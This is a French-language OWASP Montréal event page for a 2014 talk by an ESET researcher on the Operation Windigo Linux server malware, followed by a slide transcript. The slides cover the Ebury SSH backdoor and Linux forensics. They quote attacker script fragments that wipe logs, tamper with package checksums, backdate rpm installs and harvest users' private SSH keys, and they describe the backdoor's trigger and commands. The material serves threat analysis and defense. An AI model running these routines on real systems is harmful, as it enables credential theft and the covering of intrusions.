Malware côté serveur par Marc-Etienne M.Léveillé

Malware côté serveur par Marc-Etienne M.Léveillé

OWASP Montréal - 4 décembre - Malware côté serveur — évolution, méthodes d’opération et forensic Linux

PRÉSENTATEUR PRINCIPAL: Marc-Etienne M.Léveillé

RÉSUMÉ: Les logiciels malveillants ciblant les serveurs ont évolué. Ils sont utilisés par des groupes de cybercriminels organisés dans le but de faire du profit via des redirections web et l’envoie de pourriels. La présentation portera sur Opération Windigo, une opération malveillante qui a affecté plus de 25 000 serveurs dans le monde. Après une brève description des composantes de Windigo, nous verrons comment les opérateurs déploient leurs logiciels malveillants et surveille leur réseau de serveurs infectés. Des trucs pratiques pour faire de la forensics sur des systèmes Linux seront donnés. Cette présentation est une suite à la présentation "Linux/Cdorked: Server side malware", donnée par Olivier Bilodeau à OWASP Montréal en 2013. La présentation sera en français avec des diapositives en anglais (aka Montreal-style).

BIO: Marc-Etienne est un chercheur en logiciel malveillant chez ESET depuis 2012. Il se spécialise dans les logiciels malveillants qui s’attaquent à des plateformes inhabituelles comme aux produits fruités et aux oiseaux nordiques. Dernièrement, il passe beaucoup de son temps à faire la rétro-ingénierie de logiciels malveillants sur des serveurs Linux et s’intéresse à leurs méthodes d’opération. Il adore participer de façon collégiale aux CTFs avec ses amis les CISSP Groupies et jouer de la clarinette. Il tweet très peu à @marc_etienne_.

QUAND: 4 décembre 2014 à 18h00
OÙ: Local M-1510, Polytechnique Montréal, 2900 Boulevard Edouard-Montpetit

ÉQUIPE ACADÉMIQUE: Polyhack - http://polyhack.org/

WEBCAST: https://www.youtube.com/watch?v=lo8WDl-WQ3E

09905cce02942fb076f958f4b69fd8f6?s=128

OWASP Montréal

December 04, 2014
Tweet

Transcript

  1. Malware côté serveur — évolution , méthodes d ’opération et

    forensic Linux Marc ­Etienne M .Léveillé , ESET ( ) @marc _etienne _ 0
  2. :~$ whoami Marc ­Etienne M .Léveillé Malware Researcher at ESET

    Interested in OS X and Linux threats InfoSec CTF competition fan
  3. :~$ whoami

  4. :~$ apropos What is Operation Windigo ? Automating a dark

    cloud Defeating Ebury Automating defense
  5. :~$ w | grep ­v marc ­ etienne aka Who

    are you ?
  6. What is Operation Windigo ? Crimeware operation consisting of several

    malware components  — Linux /Ebury , Linux /Cdorked and Perl /Calfbot  — where the infrastructure is mostly operated on compromised servers . Used for traffic redirection and sending spam .
  7. What is Operation Windigo ?

  8. Operation Windigo A joint investigation effort

  9. Big Picture

  10. How does it expand ?

  11. End goal ($) Install malware on Windows end ­users Exploit

    Kits : Flashpack , Blackhole , RIG Win 32/Glupteba (more spam capability ) Spam Mostly adult affiliate programs links Some Casino Web ­site redirections to adult affiliate programs
  12. Impact 25 000+ compromised servers 500 000 browser redirections per

    day ( 20% go to exploit packs ) 35 M + spam sent per day
  13. Linux /Ebury OpenSSH backdoor Replacing original OpenSSH binaries (ssh ,

    sshd , ssh ­ add ) Then : replaces a shared library and hooks OpenSSH ’s address space Provides a backdoor root shell to the operators Doesn ’t leave traces behind when used Steals SSH passwords and keys When connecting to and from the infected machine
  14. How the shared library works 1. Shared library has a

    constructor function executed when loaded 2. Detect main executable that is loading l i b k e y u t i l s . s o 3. Hook imported function such as c r y p t and s y s l o g 4. Detect main executable address space (d l o p e n ( N U L L ) ) 5. Patch code inside main executable to redirect function calls to the malicious l i b k e y u t i l s . s o
  15. Hook imported function

  16. key _parse clean

  17. key _parse hooked

  18. How information is exfiltrated ? 1. Passwords are sent inside

    a DNS packet with all required information such as username , target IP address and port 2. Keys are kept in memory and are later fetched by the operators with the X c a t command 9 8 . 1 7 4 . 1 2 1 . 1 9 - > 7 5 . 8 2 . 5 2 . 1 4 D N S S t a n d a r d q u e r y 0 x 4 c d d A b 7 4 b e b e 1 0 c a d 6 f f e 6 8 4 b f 8 a 1 . 6 2 . 2 2 0
  19. Backdoor interaction To trigger the Linux /Ebury remotely in sshd

    , a special SSH client version identifier is used 1 9 2 . 2 7 . 8 1 . 1 1 - > 7 8 . 2 4 0 . 1 1 . 4 4 S S H S e r v e r : P r o t o c o l ( S S H - 2 . 0 - O p e n S S H _ 5 . 3 ) 7 8 . 2 4 0 . 1 1 . 4 4 - > 1 9 2 . 2 7 . 8 1 . 1 1 S S H C l i e n t : P r o t o c o l ( S S H - 2 . 0 - 0 8 6 1 d 6 0 b 2 4 6 5 c 0 3 8 3 0 7 6 d 8 2 3 3 2 7 3 d a ) [ 1 1 b y t e s p a s s w o r d ] [ o p t i o n a l 4 b y t e s c o m m a n d ] [ o p t i o n a l 4 b y t e s a r g u m e n t ]
  20. Backdoor interaction (cont .) 5 commands Xver : print Linux

    /Ebury version installed Xcat : print stolen credentials Xbnd : choose binded IP address for SSH tunnel Xpsw : set additional 4 byte xor key for future backdoor usage None : get a shell
  21. Ebury infection map

  22. Ebury infection (top 5) Position Country Count 1 United States

    10, 065 2 Germany 2, 489 3 France 1, 431 4 Italy 1, 169 5 United Kingdom 993 Others 9, 877 Total 26, 024
  23. Who ssh with root ?

  24. Linux /Cdorked httpd /nginx /lighttpd backdoor Replacing binary on the

    server Redirect HTTP request on legitimate web site the exploit packs or affiliate links Use shared memory (POSIX IPC ) for state and configuration No file on disk It ’s encrypted with a static XOR key unique per infection
  25. Linux /Cdorked Stealth

  26. Linux /Cdorked Stealth (cont .) Presence and content of Accept

    , Accept ­Language , Referer , User ­Agent headers Presence of administrative panel references in URL *cpanel * *secur * *bill * etc It is a web page ? (.html , .php , etc ) Did I redirect this client IP address in the last 24 hours ?
  27. Cdorked ratio Only a small percentage of Ebury infected hosts

    have Cdorked installed .
  28. Linking Cdorked and Ebury Cdorked | Ebury

  29. Perl /Calfbot Perl spamming daemon Deletes itself when running ,

    resides only in memory Hides as c r o n d
  30. POSIX /Calfbot

  31. Windigo group noteworthy compromises kernel .org infected at some point

    in 2011 cPanel support SSH gateway
  32. Why advanced ? Stealth close to no disk persistence uses

    shared memory hooks into binaries do not affect existing services Effective large number of compromised servers validates spamming maximizes available server resources
  33. Automating a dark cloud

  34. DevOps malware operators ? Found very interesting monitoring and deployments

    scripts Interesting usage (SSH stream redirections ): c a t p a y l o a d . p l | s s h v i c t i m p e r l # o r c a t p a y l o a d . s h | s s h v i c t i m b a s h
  35. Recon / Deployment scripts Written in Perl Always reports to

    S T D O U T Errors Status
  36. Perl scripts Not obfuscated But as readable as Perl can

    be
  37. Reverse ­engineering Perl Use p e r l t i

    d y to prettify Perl Rename variables vim : * then c i m then (n then . ).repeat () or your search /replace of $ E D I T O R For packed scripts use B : : D e p a r s e
  38. Eliminates evidence ` m k d i r - p

    / h o m e / t m p q ` ; $ t f i l e = ' / h o m e / t m p q / q 3 d e f ' ; @ b l i s t = ` f i n d / v a r / l o g - t y p e f - m t i m e - 1 - s i z e + 1 0 0 M - l s ` ; p r i n t @ b l i s t i f @ b l i s t ; @ l o g s = ` c a t / e t c / s y s l o g . c o n f | g r e p - v i \ " # \ " | g r e p - v i d e v ` ; f o r e a c h ( @ l o g s ) { $ l o g s { $ 1 } + + i f m | . * ? ( / . + ) | a n d n o t m | / m a i l | } f o r e a c h $ f i l e ( k e y s % l o g s ) { n e x t i f c h e c k t i m e ( $ f i l e ) ; # p r i n t " C h e c k $ f i l e \ n " ; $ s y s t e m = " c a t $ f i l e | e g r e p - i \ " $ n _ d a t e \ " | e g r e p - i \ " $ s t r i n g \ " " ; # p r i n t " $ s y s t e m \ n " ; $ t e s t = ` $ s y s t e m ` ; p r i n t " F o u n d i n $ f i l e . T r y t o c o r r e c t \ n " i f $ t e s t ; n e x t u n l e s s $ t e s t ; $ s y s t e m = " c a t $ f i l e | e g r e p - v i \ " $ n _ d a t e \ " > $ t f i l e ; c a t $ f i l e | e g r e p \ " $ n _ d a t e \ " | e g r e p - v i # p r i n t " $ s y s t e m \ n " ; # ! s y s t e m ( $ s y s t e m ) }
  39. Recon scripts Checks for LD _PRELOAD trickery Various restrictive s

    s h configurations BSD jails i f ( - l ' / b i n ' ) { p r i n t " \ n \ t l A L E R T ! ! ! / b i n i s l i n k , s e e m s l i k e b s d j a i l \ n " ; $ a l e r t + + } CPanel , BRadmin , Nagios ipcs plugin , auditd
  40. Recon (cont ) Generic s s h honeypots @ s

    d = ` s t r i n g s / u s r / s b i n / s s h d | g r e p - e " ^ / u s r / l o c a l / l i b e x e c " ` ; c h o m p @ s d ; i f ( @ s d ) { p r i n t " \ n \ t A L E R T ! ! ! , " . j o i n ( " | " , @ s d ) . " \ n " } m y $ p p i d = g e t p p i d ; m y $ p b = r e a d l i n k ( " / p r o c / $ p p i d / e x e " ) ; i f ( $ p b n e ' / u s r / s b i n / s s h d ' ) { p r i n t " \ n \ t l A L E R T ! ! ! p a r e n t : $ p b , $ p p i d \ n " ; $ a l e r t + + }
  41. Recon (cont ) Detects available tools (pkg mgmt , gcc

    , patch , …​ ) Check for header files to compile OpenSSH Check if Ebury is already installed
  42. Recon (cont ) Output [ . . . ] _

    # _ # _ s y s i n f o : _ # _ # _ u n a m e : L i n u x 3 . 2 . 0 - 4 - a m d 6 4 # 1 S M P D e b i a n 3 . 2 . 4 6 - 1 x 8 6 _ 6 4 G N U / L i n u x _ # _ # _ d n a m e : / e t c / d e b i a n _ v e r s i o n : 7 . 1 _ # _ # _ i s s u e : D e b i a n G N U / L i n u x 7 \ n \ l _ _ # _ # _ s s h : O p e n S S H _ 6 . 0 p 1 D e b i a n - 4 , O p e n S S L 1 . 0 . 1 e 1 1 F e b 2 0 1 3 _ # _ # _ p k g : / u s r / b i n / a p t - g e t _ # _ # _ g c c : _ # _ # _ p a t c h : _ # _ # _ b a s h : / b i n / b a s h [ . . . ] D E B c h e c k : o k _ # _ # _ i f c o n f i g : i n e t a d d r : x x x . x x . x . x x i n e t a d d r : 1 2 7 . 0 . 0 . 1 M a s k : 2 5 5 . 0 . 0 . 0 _ # _ # _ i f c o n f i g _ e n d a l e r t : ' 1 ' ; e x i t
  43. Deployment script Uses Perl ’s DATA to pass files through

    s s h o p e n ( T A R , " | t a r z x f - $ l n $ s l " ) ; b i n m o d e ( D A T A ) ; w h i l e ( < D A T A > ) { p r i n t T A R $ _ ; } c l o s e T A R ; _ _ D A T A _ _ ^ _ < 8 b > ^ H ^ @ V Ã Ç S ^ @ ^ C í ½ X ^ T Ç Ö 0 Ü 3 Ì ( " 0 h À ¨ ^ Q ^ ] ^ U # î < 8 e > < 8 2 > + ( è h ^ @ ^ E < 8 c > ¸ ¯ < 8 8 > ^ K ^ F g ^ T ^ W ^ P Ò ` h Ú 6 Þ K Ì Í ¢ Ù 4 Ñ 7 1 j b ô Æ ^ ] \ @ < 8 c > ^ Z % Æ % j $ Æ h ã < 9 8 > < 8 8 > < 9 a > ¸ k ÿ ç < 9 c > ê < 8 6 > < 8 1 > È û Ý ÿ û < 9 e > ÷ { < 9 e > ÿ ù i m ª ê Ô © S û © s ª j ú Ì < 9 e > 9 y ñ â ^ ^ < 9 6 > i < 9 3 > ¹ ÿ ¹ § ; < ½ ^ B ^ B È < 8 5 > § < 8 6 > Û » g ï À î < 9 c > ¥ G Ï ^ < 9 6 > Þ ^ A Ý ^ C Á ß Ý b é Ù £ ^ G g î þ ? X ¦ Ê Ç > ß 6 ) Õ l æ R S R l ÿ ^ ] Þ ÿ * þ ÿ £ Ï ² < 8 8 > ¨ Á z < 9 d > ® 2 ì Â ^ M à 0 Ô ½ 1 ^ K < 8 7 > ¨ p ÿ × ª Ò < 8 4 > p } ¸ z ð ÷
  44. Deployment script (cont ) Altering package management manifests s u

    b f i x _ m d 5 { m y @ d f = g l o b ( " / v a r / l i b / d p k g / i n f o / l i b k e y u t i l s 1 * . m d 5 s u m s " ) ; g e t _ m d 5 ( ) ; o p e n ( $ f h , " < $ d f " ) ; m y @ q = < $ f h > ; c l o s e $ f h ; f o r ( @ q ) { $ c + + i f s | \ S + $ d 1 / $ r f i l e \ n | $ m d 5 $ d 1 / $ r f i l e \ n | } o p e n ( $ f h , " > $ d f " ) ; p r i n t $ f h @ q ; c l o s e $ f h ; p r i n t " m d 5 f i x : f i x e d l i n e s : $ c \ n " ; }
  45. Deployment script (cont ) How do you install an rpm

    in the past ? $ i n s t a l l _ t i m e = ` r p m - q - - q f ' % { I N S T A L L T I M E } \ n ' k e y u t i l s - l i b s ` ` M Y R P M T = " $ i n s t a l l _ t i m e " L D _ P R E L O A D = . / o v e r r i d e _ t i m e . s o r p m - - r e p l a c e p k g s - - r e p l a c e f i l e s - - n o s c r i p t s - - n o s i g n a t u r e - U m a l i c i o u s _ l i b k e y u t i l s _ p a c k a g
  46. Deployment script (cont ) # r p m - -

    v e r i f y k e y u t i l s - l i b s ( n o e r r o r ) # r p m - q i k e y u t i l s - l i b s N a m e : k e y u t i l s - l i b s R e l o c a t i o n s : ( n o t r e l o c a t a b l e ) V e r s i o n : 1 . 4 V e n d o r : C e n t O S R e l e a s e : 4 . e l 6 B u i l d D a t e : F r i 2 2 J u n 2 0 1 2 0 2 : 2 0 : 3 8 A M E D T I n s t a l l D a t e : M o n 2 7 J a n 2 0 1 4 0 6 : 0 8 : 4 3 A M E S T B u i l d H o s t : c 6 b 1 0 . b s y s . d e v . c e n t o s . o r g G r o u p : S y s t e m E n v i r o n m e n t / B a s e S o u r c e R P M : k e y u t i l s - 1 . 4 - 4 . e l 6 . s r c . r p m S i z e : 5 9 3 2 0 L i c e n s e : G P L v 2 + a n d L G P L v 2 + S i g n a t u r e : R S A / S H A 1 , S u n 2 4 J u n 2 0 1 2 0 6 : 1 8 : 5 1 P M E D T , K e y I D 2 1 e f c 4 b f 7 1 f b f e 7 b U R L : h t t p : / / p e o p l e . r e d h a t . c o m / ~ d h o w e l l s / k e y u t i l s / S u m m a r y : K e y u t i l i t i e s l i b r a r y D e s c r i p t i o n : T h i s p a c k a g e p r o v i d e s a w r a p p e r l i b r a r y f o r t h e k e y m a n a g e m e n t f a c i l i t y s y s t e m c a l l s .
  47. Daily monitoring script Bash Grabs keys , known hosts ,

    user ssh configs e c h o _ _ % P a s s w d c a t / e t c / p a s s w d # [ . . . ] u d = ` a w k - F ' : ' ' { p r i n t $ 6 } ' < / e t c / p a s s w d | s o r t - u ` ; e c h o _ _ % K H o s t s f o r f i n $ u d ; d o c a t $ f / . s s h / k n o w n _ h o s t s 2 > / d e v / n u l l ; d o n e e c h o _ _ % S S H C o n f f o r f i n $ u d ; d o c a t $ f / . s s h / c o n f i g 2 > / d e v / n u l l & & e c h o _ % _ _ $ { f } ; d o n e e c h o _ _ % S S H K e y s _ p r i v f o r f i n $ u d ; d o [ - e $ f / . s s h / i d _ r s a ] & & { e c h o _ % _ _ $ f / . s s h / i d _ r s a ; c a t $ f / . s s h / i d _ r s a ; e c h o ; } [ - e $ f / . s s h / i d _ d s a ] & & { e c h o _ % _ _ $ f / . s s h / i d _ d s a ; c a t $ f / . s s h / i d _ d s a ; e c h o ; } d o n e
  48. Other scripts findings Modifies SELinux policy Various styles of installation

    precompiled libraries on ­site compilation packages Looks for over 40 backdoors /rootkits
  49. DevOps malware operators Manage their infrastructure with code Pass data

    in ­band with s s h Eliminate logs , restore timestamps Get rid of security features
  50. Defeating Ebury

  51. Same privileges How to spy on a malicious user with

    the same privileges ? syslog : omits logging package manifests : tampered tcpdump : Ebury stops on I F F _ P R O M I S C , ssh traffic is encrypted core dumping processes and shared memory : long auditd !
  52. auditd The Linux audit framework provides an auditing system that

    reliably collects information about any security ­relevant (or non ­ security ­relevant ) event on a system . logging syscalls logs can be sent over the network a u d i t c t l - a e x i t , a l w a y s - S e x e c v e
  53. auditd logs t y p e = E X E

    C V E m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 0 : 4 4 7 4 2 0 0 ) : a r g c = 4 a 0 = " r m " a 1 = " - f " a 2 = " - f " a 3 = " / t m p / q " t y p e = C W D m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 0 : 4 4 7 4 2 0 0 ) : c w d = " / h o m e / t m p p / o p e n s s h - 5 . 9 p 1 " t y p e = P A T H m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 0 : 4 4 7 4 2 0 0 ) : i t e m = 0 n a m e = " / b i n / r m " \ - i n o d e = 2 2 2 8 2 2 8 8 d e v = 0 8 : 0 1 m o d e = 0 1 0 0 7 5 5 o u i d = 0 o g i d = 0 r d e v = 0 0 : 0 0 t y p e = P A T H m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 0 : 4 4 7 4 2 0 0 ) : i t e m = 1 n a m e = ( n u l l ) i n o d e = 4 4 5 6 7 9 6 \ - d e v = 0 8 : 0 1 m o d e = 0 1 0 0 7 5 5 o u i d = 0 o g i d = 0 r d e v = 0 0 : 0 0 t y p e = S Y S C A L L m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 1 : 4 4 7 4 2 0 1 ) : a r c h = c 0 0 0 0 0 3 e s y s c a l l = 5 9 \ - s u c c e s s = y e s e x i t = 0 a 0 = 1 f 2 9 d 4 0 a 1 = 1 e e c 5 f 0 a 2 = 1 f 0 3 e c 0 a 3 = 7 f f f d 6 b e 9 a 6 0 \ - i t e m s = 2 p p i d = 1 3 4 0 3 p i d = 2 1 2 8 7 a u i d = 5 0 1 u i d = 0 g i d = 0 e u i d = 0 \ - s u i d = 0 f s u i d = 0 e g i d = 0 s g i d = 0 f s g i d = 0 t t y = p t s 0 s e s = 1 2 8 2 3 2 c o m m = " t o u c h " e x e = " / b i n / t o u c h " t y p e = E X E C V E m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 1 : 4 4 7 4 2 0 1 ) : a r g c = 4 a 0 = " t o u c h " a 1 = " - r " \ - a 2 = " / e t c / s s h / s s h d _ c o n f i g " a 3 = " / e t c / s s h / s s h _ c o n f i g "
  54. auditd logs (cont .) On non ­ascii arguments it switches

    to hex t y p e = E X E C V E m s g = a u d i t ( 1 3 7 3 8 3 7 9 5 2 . 2 7 8 : 4 4 7 3 2 9 0 ) : a r g c = 2 6 a 0 = " g c c " a 1 = " - g " a 2 = " - O 2 " a 3 = " - W a l l " a 4 = " - W p o i n t e r - a r i t h " a 5 = " - W u n i n i t i a l i z e d " a 6 = " - W s i g n - c o m p a r e " a 7 = " - W f o r m a t - s e c u r i t y " a 8 = " - W n o - p o i n t e r - s i g n " a 9 = " - W n o - u n u s e d - r e s u l t " a 1 0 = " - f n o - s t r i c t - a l i a s i n g " a 1 1 = " - f n o - b u i l t i n - m e m s e t " a 1 2 = " - f s t a c k - p r o t e c t o r - a l l " a 1 3 = " - I . " a 1 4 = " - I . " a 1 5 = 2 D 4 4 5 3 5 3 4 8 4 4 4 9 5 2 3 D 2 2 2 F 6 5 7 4 6 3 2 F 7 3 7 3 6 8 2 2 a 1 6 = 2 D 4 4 5 F 5 0 4 1 5 4 4 8 5 F 5 3 5 3 4 8 5 F 5 0 5 2 4 F 4 7 5 2 4 1 4 D 3 D 2 2 2 F 7 5 7 3 7 2 2 F 6 C 6 F 6 3 6 1 6 C 2 F 6 2 6 9 6 E 2 F 7 3 7 3 6 8 2 2 [ . . . ] a 2 1 = 2 D 4 4 5 F 5 0 4 1 5 4 4 8 5 F 5 3 5 3 4 8 5 F 5 0 4 9 4 4 4 4 4 9 5 2 3 D 2 2 2 F 7 6 6 1 7 2 2 F 7 2 7 5 6 E 2 2 a 2 2 = 2 D 4 4 5 F 5 0 4 1 5 4 4 8 5 F 5 0 5 2 4 9 5 6 5 3 4 5 5 0 5 F 4 3 4 8 5 2 4 F 4 F 5 4 5 F 4 4 4 9 5 2 3 D 2 2 2 F 7 6 6 1 7 2 2 F 6 5 6 D 7 0 7 4 7 9 2 2 a 2 3 = " - D H A V E _ C O N F I G _ H " a 2 4 = " - c " a 2 5 = " r s a . c " $ i p y t h o n i n [ 1 ] : ( ' 2 D 4 4 5 F 5 0 4 1 5 4 4 8 5 F 5 3 5 3 4 8 5 F 5 0 4 B 4 3 5 3 3 1 3 1 5 F 4 8 4 5 4 C 5 0 4 5 5 2 ' ' 3 D 2 2 2 F 7 5 7 3 7 2 2 F 6 C 6 F 6 3 6 1 6 C 2 F 6 C 6 9 6 2 6 5 7 8 6 5 6 3 2 F 7 3 7 3 6 8 2 D ' ' 7 0 6 B 6 3 7 3 3 1 3 1 2 D 6 8 6 5 6 C 7 0 6 5 7 2 2 2 ' ) . d e c o d e ( ' h e x ' ) O u t [ 2 ] : ' - D _ P A T H _ S S H _ P K C S 1 1 _ H E L P E R = " / u s r / l o c a l / l i b e x e c / s s h - p k c s 1 1 - h e l p e r " '
  55. Going out ­of ­band 1. Built a man ­in ­the

    ­middle ssh gateway 2. Leaked credentials 3. Waited …​ 4. …​ 5. Profit !
  56. As simple as that / - - - - -

    - - - - - - - < C L O U D > - - - - - - - - - - - - - \ W A N D M Z I n t e r n e t < - - - > g a t e w a y < - - - > S e r v e r ( m i t m - s s h ) ( s o m e f a k e w o r k l o a d ) / - - - - - - - - - - - - < / C L O U D > - - - - - - - - - - - - - /
  57. What we have learned 1. Gather system information with perl

    script 2. Install Ebury with perl script 3. Monitor infected servers daily with bash script run from the Ebury backdoor
  58. What about production servers ? Forensics and incident response

  59. Caution Running at same privilege level It ’s an arm

    ’s race Aim for out ­of ­band (network or memory acquisition )
  60. Process analysis Once you ’ve found an interesting process Dump

    process memory s t r i n g s - a , g d b , IDA Pro g c o r e p i d
  61. Did you know ? p r o c allows you

    to extract deleted executables # n o r m a l $ s u d o l s - l / p r o c / 1 7 9 0 2 / e x e l r w x r w x r w x 1 r o o t r o o t 0 S e p 2 6 1 3 : 1 1 / p r o c / 1 7 9 0 2 / e x e - > \ \ - / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x $ s h a 1 s u m / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x f b b 4 9 3 f 8 3 e 6 7 a 6 5 1 c c b b f 7 3 a 5 a d 2 2 c a 6 7 1 9 c 1 9 e 4 / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x $ s u d o r m / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x # r e m o v e d $ s u d o l s - l / p r o c / 1 7 9 0 2 / e x e l r w x r w x r w x 1 r o o t r o o t 0 S e p 2 6 1 3 : 1 1 / p r o c / 1 7 9 0 2 / e x e - > \ \ - / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x ( d e l e t e d ) $ s u d o c p / p r o c / 1 7 9 0 2 / e x e . / n g i n x $ s h a 1 s u m n g i n x f b b 4 9 3 f 8 3 e 6 7 a 6 5 1 c c b b f 7 3 a 5 a d 2 2 c a 6 7 1 9 c 1 9 e 4 n g i n x
  62. Network evasion SSH tunnels nginx reverse proxies IP in IP

    tunnels NAT
  63. Finding network level modifications Audit your iptables NAT table rules

    i p t a b l e s - t n a t - L - n v i p t a b l e s - s a v e
  64. Finding network level modifications Audit your iptables NAT table rules

    Rules in the NAT table to bounce traffic of compromised servers - A P R E R O U T I N G - d x x . x x . 5 1 . 1 4 / 3 2 - p u d p - m u d p - - d p o r t 5 3 - j D N A T - - t o - d e s t i n a t i o n x x x . x x . 2 - A P O S T R O U T I N G - d x x x . x x . 2 2 5 . 2 0 0 / 3 2 - p u d p - m u d p - - d p o r t 5 3 - j S N A T - - t o - s o u r c e x x . x x . 5 1 .
  65. Finding network level modifications Audit your IP in IP tunnels

    i f c o n f i g and look for : L i n k e n c a p : I P I P T u n n e l i p t u n n e l s h o w i p r o u t e s h o w t u n l 0 : i p / i p r e m o t e a n y l o c a l a n y t t l i n h e r i t n o p m t u d i s c t u n 1 0 : i p / i p r e m o t e x x . x x . 2 0 1 . 3 4 l o c a l x x x . x x x . 2 3 2 . 1 8 d e v e t h 0 t t l i n h e r i t s i t 0 : i p v 6 / i p r e m o t e a n y l o c a l a n y t t l 6 4 n o p m t u d i s c 1 0 . 1 2 . 1 2 . 0 / 3 0 d e v t u n 1 0 p r o t o k e r n e l s c o p e l i n k s r c 1 0 . 1 2 . 1 2 . 2 i p t a b l e s - t n a t - L - n v post ­routing source NAT to map tunnel traffic to e t h 0 IP
  66. Shared Memory Analysis s h m : POSIX Shared Memory

    (an IPC mechanism ) i p c s s h m c a t , http ://sourceforge .net /projects /shmcat /
  67. Shared Memory Analysis Dump Shared Segment # i p c

    s - m - - - - - - S h a r e d M e m o r y S e g m e n t s - - - - - - - - k e y s h m i d o w n e r p e r m s b y t e s n a t t c h [ . . . ] 0 x 0 0 0 0 1 0 e 0 4 6 5 2 7 2 8 3 6 r o o t 6 0 0 3 2 8 2 3 1 2 0 # i p c s - m - p - - - - - - S h a r e d M e m o r y C r e a t o r / L a s t - o p P I D s - - - - - - - - s h m i d o w n e r c p i d l p i d [ . . . ] 4 6 5 2 7 2 8 3 6 r o o t 1 5 0 2 9 1 7 3 7 7 # p s a u x | g r e p 1 5 0 2 9 [ . . . ] r o o t 1 5 0 2 9 0 . 0 0 . 0 6 6 3 0 0 1 2 0 4 ? S s J a n 2 6 0 : 0 0 / u s r / s b i n / s s h d # s h m c a t - m 4 6 5 2 7 2 8 3 6 > s h m _ d u m p
  68. Recap Use out ­of ­band whenever possible Dump processes memory

    and content of / p r o c before killing a process Look for network configuration modifications
  69. Automating defense

  70. Indicators of Compromise We released so ­called IOCs [BEST ]

    Contact us : https ://github .com /eset /malware ­ ioc /tree /master /windigo https ://www .cert ­bund .de /ebury ­faq windigo @eset .sk
  71. Arms race Shared memory Originally , a shared memory with

    permission 666 (r w - r w - r w - ) was present Changed permission to 600 (r w - - - - - - - ) Doesn ’t use shared memory anymore : use Unix socket instead
  72. Arms race Infected file Modify system ’s s s h

    , s s h d and s s h - a d d Infect a file system library (l i b k e y u t i l s . s o ) Drop a new library file (l i b n s 2 . s o ), leaving l i b k e y u t i l s . s o size unchanged Change the library name
  73. Tracking Calfbot ’s spam Run a modified "inactive " Perl

    malware T E S T S E N D command is sent to check if compromised server can send spam Implemented T E S T S E N D but not S E N D command There ’s no T E S T S E N D anymore , more difficult to track
  74. Reaction example

  75. Mitigation Use two factor authentication It ’s important on a

    server .
  76. Mitigation Don ’t copy private key if you don ’t

    have to
  77. Closing words You can help fight this threat ! Spread

    the word on detection and prevention techniques Help cleaning infected systems Send us anything suspect you find ! windigo @eset .sk
  78. :~$ logout Thanks ! Questions ? @marc _etienne _ windigo

    @eset .sk